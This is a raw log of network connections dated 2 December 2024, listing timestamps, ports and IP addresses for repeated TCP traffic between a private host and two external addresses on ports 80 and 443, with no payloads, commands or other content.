Dec 2, 2024 07:37:55.130424976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.130474091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.131248951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.131303072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.131340027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.131407976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.132138014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.132184029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.132256031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.132298946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.133090973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.133138895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.133208036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.133254051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.133960962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.134011030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.134124041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.134231091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.134854078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.134866953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.134913921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.135752916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.135857105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.135955095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.136651993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.136696100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.136748075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.136810064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.137556076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.137655020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.137717009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.138449907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.138519049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.138561964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.138612986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.192179918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.192226887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.192436934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.192624092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.192683935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.192733049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.193532944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.193577051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.193582058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.193623066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.194397926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.194459915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.194698095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.194770098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.194839001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.194884062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.195614100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.195661068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.195734024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.195828915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.196525097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.196584940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.196639061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.196844101 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.196868896 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.196921110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.196958065 CET	49829	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.196969032 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.197406054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.197475910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.197513103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.197573900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.198115110 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.198179960 CET	49829	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.198318005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.198369980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.198410034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.198456049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.199213028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.199265957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.199333906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.199405909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.200185061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.200258017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.200295925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.200342894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.201040030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.201148987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.201194048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.201927900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.201994896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.202027082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.202070951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.202864885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.202910900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.202969074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.203043938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.203419924 CET	49829	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.203437090 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.203465939 CET	49829	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.203473091 CET	443	49829	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.203728914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.203792095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.203855991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.203988075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.204623938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.204735041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.204751968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.204772949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.205529928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.205589056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.205624104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.205662966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.206454039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.206521034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.206558943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.206600904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.207253933 CET	49835	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.207281113 CET	443	49835	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.207355976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.207372904 CET	49835	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.207403898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.207545996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.207580090 CET	49835	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.207592010 CET	443	49835	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.207621098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.208261967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.208317041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.208348036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.208404064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.209163904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.209240913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.209295988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.209378958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.210063934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.210108995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.210177898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.210227966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.210999012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.211101055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.211141109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.211141109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.211862087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.211909056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.211977005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.212095022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.212754965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.212798119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.212847948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.212882996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.213670015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.213752031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.213761091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.214040041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.214596033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.214637995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.214642048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.214778900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.215519905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.215562105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.215610981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.215970039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.216397047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.216435909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.216491938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.216547012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.217278957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.217320919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.217437029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.217529058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.218208075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.218247890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.218296051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.218338966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.219199896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.219295979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.219369888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.219408035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.219960928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.220005035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.220033884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.220119953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.220882893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.220925093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.221055984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.221131086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.319824934 CET	443	49831	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.322930098 CET	443	49831	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.322956085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.322999001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.323007107 CET	49831	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.323061943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.323146105 CET	49831	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.323146105 CET	49831	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.323156118 CET	443	49831	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.323167086 CET	443	49831	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.323245049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.323328018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.323596954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.324263096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.324321985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.324340105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.324661016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.325040102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.325088978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.325133085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.325484037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.325983047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.326065063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.326792002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.326793909 CET	49836	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.326837063 CET	443	49836	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.326838970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.326921940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.326944113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.326975107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.327119112 CET	49836	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.327119112 CET	49836	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.327151060 CET	443	49836	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.327722073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.327764034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.327862024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.327986956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.328643084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.328732967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.328767061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.328767061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.329540968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.329581022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.329660892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.330321074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.330446005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.330564022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.330605030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.330605030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.331425905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.331562042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.331572056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.331664085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.332282066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.332325935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.332469940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.332673073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.333141088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.333185911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.333245993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.333286047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.334081888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.334130049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.334165096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.334212065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.334958076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.335064888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.335105896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.335105896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.335843086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.335884094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.335961103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.335999966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.336747885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.336795092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.336857080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.336935043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.337671041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.337779045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.337779045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.337862015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.338577986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.338629961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.338674068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.338716030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.339464903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.339510918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.339565992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.339723110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.340359926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.340403080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.393443108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.393517017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.393567085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.393611908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.393893003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.393951893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.393975019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.394036055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.394778967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.394846916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.394870043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.394941092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.395656109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.395709038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.395955086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.396015882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.396053076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.396105051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.396878958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.396944046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.396980047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.397044897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.397795916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.397852898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.397870064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.397927999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.398680925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.398734093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.398787975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.398833990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.399610996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.399704933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.399774075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.399866104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.400469065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.400522947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.400568008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.400614977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.401416063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.401503086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.401530027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.401596069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.402271032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.402343035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.402373075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.402426958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.403188944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.403275967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.403283119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.403331041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.404077053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.404139042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.404206991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.404258013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.405031919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.405045033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.405097008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.405889988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.405956030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.405992985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.406071901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.406775951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.406843901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.406867027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.406909943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.407694101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.407762051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.407783985 CET	80	49823	185.215.113.206	192.168.2.6
